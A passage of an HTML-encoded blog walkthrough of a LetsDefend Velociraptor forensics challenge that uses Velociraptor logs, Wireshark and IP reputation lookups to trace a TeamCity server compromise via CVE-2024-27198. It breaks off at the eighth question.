href=&#34;https://docs.velociraptor.app/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Velociraptor&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the project&amp;rsquo;s documentation, _Velociraptor is &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;an advanced digital forensic and incident response tool that enhances your visibility into your endpoints.&amp;ldquo;Typically, &lt;em&gt;Velociraptor&lt;/em&gt; runs in a client/server configuration where a client agent sends artifacts and data to a &lt;em&gt;Velociraptor&lt;/em&gt; server. From the server, a security analyst can review the collected logs for endpoint monitoring and hunting. Sounds awesome, right? But also well beyond the scope of this challenge.&lt;/p&gt;&#xA;&lt;p&gt;Back in our &lt;code&gt;ChallengeFile&lt;/code&gt; folder, we&amp;rsquo;ll find a series of logs collected by the &lt;em&gt;Velociraptor&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/offline_triage/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;offline collector&lt;/a&gt;, which can be used for artifact collection without the use of a server. This means that we&amp;rsquo;ll be manually investigating artifacts collected by &lt;em&gt;Velociraptor&lt;/em&gt; locally and won&amp;rsquo;t need to open a &lt;em&gt;Velociraptor&lt;/em&gt; server instance.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the client ID associated with the &lt;em&gt;Velociraptor&lt;/em&gt; logs. In &lt;em&gt;Velociraptor&lt;/em&gt;, a &lt;code&gt;client_id&lt;/code&gt; is a unique identifier for a specific endpoint, or client. We can locate this information in the &lt;code&gt;client_info&lt;/code&gt; log:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  title=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;client_info :: Velociraptor - Digging deeper!&lt;/strong&gt;&#xA;_Required permissions: READ_RESULTS Returns client info (like the fqdn) for a specific client from the datastore. You&amp;hellip;_docs.velociraptor.app&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your VM, navigate to the directory below and open the &lt;code&gt;client_info.json&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;433px&#34; data-flex-grow=&#34;180&#34; height=&#34;443&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/63c2b1a4ac0b5d0e996b47c17cff6ca0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the client_info.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/client_info.json&lt;/p&gt;&#xA;&lt;p&gt;Inside, you&amp;rsquo;ll find the &lt;code&gt;client_id&lt;/code&gt; on line 2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/611c27921ae1017b375c0ed4f421cbc1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/18888ec6fb8766b2a224e47ac8427088_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-flow-id-of-the-currentlogs&#34;&gt;Question 2: What is the Flow ID of the current logs?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to identify the Flow ID of the current logs. &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Flows&lt;/em&gt;&lt;/a&gt; are used to track the execution of a collection from &lt;em&gt;Velociraptor&lt;/em&gt; to an endpoint. Each flow represents a specific collection event, and its ID helps analysts correlate artifacts to the collection process.&lt;/p&gt;&#xA;&lt;p&gt;We can find this information in the &lt;code&gt;collection_context.json&lt;/code&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/4065124782154af3a9b4ddc9143d37c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the collection_context.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/collection_context.json&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/8cf0fe3c017cfb90e204dd48596101d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/47ee1015dd55bbe508b79ae25e873cf8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-web-server-was-running-on-a-container-what-is-the-parent-process-id-of-the-container-ppid&#34;&gt;Question 3: The web server was running on a container. What is the parent process ID of the container (PPID)?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, our next objective is to determine what container service the victim web server was running. As we continue exploring the &lt;em&gt;Velociraptor&lt;/em&gt; artifacts, we&amp;rsquo;ll stumble on the results directly, with several logs referencing &lt;em&gt;Docker&lt;/em&gt;, a common containerization service.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re interested in the parent process ID (PPID) of the container service process, let&amp;rsquo;s open the process list artifact: &lt;code&gt;Linux.Sys.Pslist.json&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/0cee3d2bbf13f6c60f2bd5fc20f244ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the Linux.Sys.Pstlist.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Sys.Pslist.json&lt;/p&gt;&#xA;&lt;p&gt;With the log file open, let&amp;rsquo;s simply use the find function (&lt;code&gt;CTRL+F&lt;/code&gt;) and search for &lt;em&gt;docker&lt;/em&gt; to help us locate relevant entries. Because we&amp;rsquo;re investigating suspicious network traffic on the web server, we&amp;rsquo;ll focus on the &lt;code&gt;docker-proxy&lt;/code&gt; process (line 80) which is responsible for forwarding network traffic to the proper container.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;491px&#34; data-flex-grow=&#34;204&#34; height=&#34;391&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7bec433bfc16a304e2563a4a6fd27391_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Sys.Pslist.json log&lt;/p&gt;&#xA;&lt;p&gt;After examining the &lt;code&gt;Ppid&lt;/code&gt; value, we can see that the parent process ID is &lt;code&gt;5123&lt;/code&gt;, which corresponds to the &lt;code&gt;dockerd&lt;/code&gt; service.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7f4155460b916cb57baf0d94f2817a51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-docker-version-that-is-running-the-webserver&#34;&gt;Question 4: What is the docker version that is running the web server?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we understand the web server was running on a &lt;em&gt;Docker&lt;/em&gt; container, we can start determining which exploit the web server might&amp;rsquo;ve been vulnerable to. But first, we need to identify which &lt;em&gt;Docker&lt;/em&gt; version was in use.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll use one of the available &lt;em&gt;Docker&lt;/em&gt;-related logs in the results folder: &lt;code&gt;Linux.Applications.Docker.Version.json&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/results/Linux.Applications.Docker.Version.json&lt;/p&gt;&#xA;&lt;p&gt;Inside this log, we&amp;rsquo;ll find the version string identifying the &lt;em&gt;Docker&lt;/em&gt; version as &lt;code&gt;26.1.2&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/5d6153687e4003b2ea017d16ae902d67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Applications.Docker.Version log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d1c062e81a5561e533b14a850423e4f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-ip-address-of-the-attacker&#34;&gt;Question 5: What is the IP address of the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along! Our next task is to discover the IP address of the attacker. This is a key step in correlating with any other activity performed by the attacker. But first, let&amp;rsquo;s identify the local IP of the victim web server so we can better understand our environment. For this, we&amp;rsquo;ll look at the &lt;code&gt;Linux.Network.Netstat.json&lt;/code&gt; artifact in the results folder.&lt;/p&gt;&#xA;&lt;p&gt;By examining the contents of this log, we can determine the LocalAddr of the client the Velociraptor logs were collected from — 172.31.29.22.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;853px&#34; data-flex-grow=&#34;355&#34; height=&#34;225&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/b0669b5cdaa7f4704a837c09d57c53e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying Docker processes in the Linux.Network.Netstat log&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified the local client IP, we&amp;rsquo;ll need to examine the network packet captures to uncover the attacker&amp;rsquo;s IP.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, &lt;em&gt;Velociraptor&lt;/em&gt; also performs a network traffic capture and saves this data as a PCAP file that can be examined with a tool like &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;. We&amp;rsquo;ll find the &lt;code&gt;CaptureTraffic.pcap&lt;/code&gt; file in the directory below. Double-click the file to open it with &lt;em&gt;Wireshark&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;483px&#34; data-flex-grow=&#34;201&#34; height=&#34;397&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/033824b172200f58b4551767dc8b3a3b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/uploads/auto/tmp/CaptureTraffic.pcap&lt;/p&gt;&#xA;&lt;p&gt;With the PCAP open, we&amp;rsquo;ll use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; Endpoint Statistics view to get a high-level survey of all IP addresses contained within the capture. To access this, press &lt;em&gt;Statistics&lt;/em&gt; and then select &lt;em&gt;Endpoints&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/959e1f85ebeec7a2c7f3b6efb105d500_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Accessing the Endpoint Statistics view&lt;/p&gt;&#xA;&lt;p&gt;Check the tab labeled &lt;em&gt;IPv4&lt;/em&gt;. This shows us that there are 88 host IPs contained in the log — so how do we determine which one belongs to the attacker? For this, we&amp;rsquo;ll sort by the total number of packets to surface the top traffic endpoints to the top of the list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;595&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ab32673cf0443f9ea8849d69801e4df3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the top traffic endpoints&lt;/p&gt;&#xA;&lt;p&gt;This method helps us quickly identify the most active IP addresses, which we can then check against external threat intelligence services to search for indicators of malicious activity.&lt;/p&gt;&#xA;&lt;p&gt;For example, the second entry on the list is an external IP address — &lt;code&gt;95[.]164[.]9[.]144&lt;/code&gt;. This IP is the top external talker. Let&amp;rsquo;s see what additional information we can find about it.&lt;/p&gt;&#xA;&lt;p&gt;While there are plenty of excellent threat intelligence services, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ipinfo.io&lt;/strong&gt;&lt;/a&gt; to get an overview of this IP address and &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/soc-tools/ip-reputation&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SOC Radar&amp;rsquo;s IOC Radar&lt;/strong&gt;&lt;/a&gt; to uncover threat intelligence.&lt;/p&gt;&#xA;&lt;p&gt;Checking &lt;em&gt;IPinfo&lt;/em&gt; first, we&amp;rsquo;ll see that this IP address is part of the &lt;a class=&#34;link&#34; href=&#34;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Stark-Industries Solutions ASN&lt;/strong&gt;&lt;/a&gt;, a well-known bulletproof hosting provider of VPN and proxy services. That&amp;rsquo;s already suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/bb4383f51f57be0796e2fc0013b2f3e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;IPinfo: &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, checking &lt;em&gt;SOC Radar&lt;/em&gt;, we&amp;rsquo;ll discover that this IP address is also associated with some suspicious activities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;583px&#34; data-flex-grow=&#34;243&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/6234aae58b9b13ba182275e519163612_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SOCRadar: &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/app/ioc-radar/95.164.9.144&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socradar.io/labs/app/ioc-radar/95.164.9.144&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of our investigation, the combination of the volume of traffic in the network logs, the IP&amp;rsquo;s ASN, and the threat intelligence verdict is enough to reasonably guess that this is the attacker&amp;rsquo;s IP. We&amp;rsquo;ll confirm this through additional activities later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/69b7d2f867eb9c15f65e6132fdccef05_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-to-determine-if-there-are-any-exploits-targeting-the-server-identify-the-build-version-of-the-web-server-service-what-is-the-buildversion&#34;&gt;Question 6: To determine if there are any exploits targeting the server, identify the build version of the web server service. What is the build version?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the attacker&amp;rsquo;s IP address, it&amp;rsquo;s time to dig a little deeper into the packet captures to determine what activities were performed. As a starting point, we need to find the build version of the web server service.&lt;/p&gt;&#xA;&lt;p&gt;From our &lt;em&gt;Endpoint Statistics&lt;/em&gt; window in &lt;em&gt;Wireshark&lt;/em&gt;, right-click the attacker&amp;rsquo;s IP address and add it as a filter. This will isolate traffic related to that IP in the &lt;em&gt;Wireshark&lt;/em&gt; window. From there, right-click a packet (I used packet number &lt;code&gt;4040&lt;/code&gt;) and select &lt;em&gt;Follow &amp;gt; TCP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;897px&#34; data-flex-grow=&#34;373&#34; height=&#34;214&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d9950ed73d5249e95216da271e44529c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Filtering the attacker&amp;rsquo;s IP and following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;While there&amp;rsquo;s a ton of information to sift through, we&amp;rsquo;ll stay focused on &lt;strong&gt;Question 6&lt;/strong&gt; and look for the build number by using the search box at the bottom of the pane and entering &lt;code&gt;buildnumber&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/1172fc399fd57bd6336679214e3ded42_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Discovering the TeamCity server build number&lt;/p&gt;&#xA;&lt;p&gt;This search brings us directly to a segment that gives us extremely helpful information: the server is a &lt;strong&gt;JetBrains TeamCity&lt;/strong&gt; instance with a build number of &lt;code&gt;147512&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/2b60e6be6294f003f1cfd1453f94dae6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-the-attacker-took-advantage-of-a-known-exploit-to-that-version-of-the-service-what-is-the-cve-number-for-the-exploit-that-heused&#34;&gt;Question 7: The attacker took advantage of a known exploit to that version of the service. What is the CVE number for the exploit that he used?&#xA;&lt;/h3&gt;&lt;p&gt;From the information we discovered in &lt;strong&gt;Question 6&lt;/strong&gt;, we now have enough evidence to start tying things together and identifying which CVE was exploited.&lt;/p&gt;&#xA;&lt;p&gt;For background, &lt;strong&gt;TeamCity&lt;/strong&gt; is a CI/CD platform for software development. If we do a quick search for &lt;em&gt;TeamCity Server build 147512&lt;/em&gt;, we&amp;rsquo;ll immediately find dozens of entries discussing exploitation of vulnerable &lt;em&gt;TeamCity&lt;/em&gt; servers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1263px&#34; data-flex-grow=&#34;526&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/cddc7da792d6025ea332c34c158f8fa3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I&amp;rsquo;ll be referencing the excellent blog post from &lt;strong&gt;Rapid7&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  title=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities | Rapid7 Blog&lt;/strong&gt;&#xA;_In February 2024, Rapid7&amp;rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity&amp;hellip;_www.rapid7.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Rapid7 post documents some important details related to our investigation.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In February 2024, Rapid7&amp;rsquo;s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;CVE-2024€“27198&lt;/strong&gt; is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (&lt;a class=&#34;link&#34; href=&#34;https://cwe.mitre.org/data/definitions/288.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CWE-288&lt;/a&gt;) and has a CVSS base score of 9.8 (Critical).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;CVE-2024€“27199&lt;/strong&gt; is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (&lt;a class=&#34;link&#34; href=&#34;https://cwe.mitre.org/data/definitions/22.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CWE-22&lt;/a&gt;) and has a CVSS base score of 7.3 (High).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, &lt;strong&gt;CVE-2024€“27198&lt;/strong&gt;, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Given that our server is running build &lt;code&gt;147512&lt;/code&gt;, which falls below the patched version &lt;code&gt;2023.11.4&lt;/code&gt;, and considering the nature of the attack and the volume of traffic observed, it&amp;rsquo;s highly likely that &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-27198&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CVE-2024-27198&lt;/strong&gt;&lt;/a&gt; was used to compromise the web server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2157px&#34; data-flex-grow=&#34;898&#34; height=&#34;89&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ddc40200e9dc58295e89c59ffa99f202_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-created-multiple-usernames-and-passwords-on-the-service-what-is-the-first-username-and-passwordcreated&#34;&gt;Question 8: The attacker created multiple usernames and passwords on the service. What is the first username and password 